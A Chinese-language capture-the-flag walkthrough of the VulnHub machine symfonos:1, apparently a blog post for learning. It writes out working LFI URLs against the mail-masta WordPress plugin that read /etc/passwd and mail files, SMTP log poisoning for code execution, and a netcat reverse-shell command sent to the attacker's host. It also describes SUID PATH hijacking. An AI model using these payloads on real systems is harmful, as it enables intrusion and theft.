symfonos1 WalkThrough

symfonos1-WalkThrough


免责声明

本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.


靶机地址

  • https://www.vulnhub.com/entry/symfonos-1,322/

Description

Beginner real life based machine designed to teach a interesting way of obtaining a low priv shell. SHOULD work for both VMware and Virtualbox.

  • Name: symfonos: 1

  • Difficulty: Beginner

  • Tested: VMware Workstation 15 Pro & VirtualBox 6.0

  • DHCP Enabled

Note: You may need to update your host file for symfonos.local

知识点

  • smb 信息探测

  • wordpress 插件 LFI 漏洞

  • SMTP 日志投毒

实验环境

环境仅供参考

  • VMware® Workstation 15 Pro - 15.0.0 build-10134415

  • kali : NAT 模式,192.168.141.134

  • 靶机 : NAT 模式


前期-信息收集

开始进行 IP 探活

排除法,去掉自己、宿主机、网关, 192.168.141.148 就是目标了

扫描开放端口

开放的蛮多的,22、25、80、139、445,既然 445 开着,就跑一下 SMB 探测的工具

有1个 /anonymous 可访问

这里 -U 表示用户名,% 表示用户名。

参数 -N 用于空密码

有个文本文件,下下来看看

按照文件所说,密码应该就是

虽然可能是 SSH 的密码,不过没有用户名,还是先放一放再说,不过刚刚枚举 smb 时发现存在1个要密码的目录

说不定是这个的密码,连接试试

把文件down下来看看

research.txt 没什么帮助,todo 里提示了 /h3l105 ,这个 / 就很灵性了,一般就可以猜想到和 web 有关

下面看一看 web 服务

先按要求添加以下 hosts 文件

啥都没有, /h3l105 试试

wordpress! 到了使用 wpscan 的时候了

5.2.2 版本,只有 admin 一个用户,不过倒是有几个插件漏洞

SQL 注入里面有几个需要认证,这个没有,测一测 LFI


中期-漏洞利用

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd

可以,下面尝试从其他文件得到一些信息

http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios

既然可以读邮件,那么可以尝试一下密码找回

使用重置后的密码登录后台,尝试拿 shell 无果,google 后发现有人使用 SMTP 日志投毒配合 LFI 来进行 RCE https://www.hackingarticles.in/smtp-log-poisioning-through-lfi-to-remote-code-exceution/

跟着大佬学

访问 helios 邮件 http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=ip a 测试

可以执行,测试回弹 shell,kali 监听

访问 http://symfonos.local/h3l105/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/var/mail/helios&a=nc -nv 192.168.141.134 4444 -e /bin/bash

回弹成功,下面提权


后期-提权

看上去啥也没有,尝试用下提权脚本

这里有个不常见的 suid 文件 statuscheck,看看是干嘛的

内容看上去是个 web 的请求包,用 strings 在看看

看上去是使用 curl 访问本地网页, curl -I http://localhost

这里可以写一个自定义的 curl 文件,让其提权

提权成功,感谢靶机作者 Zayotic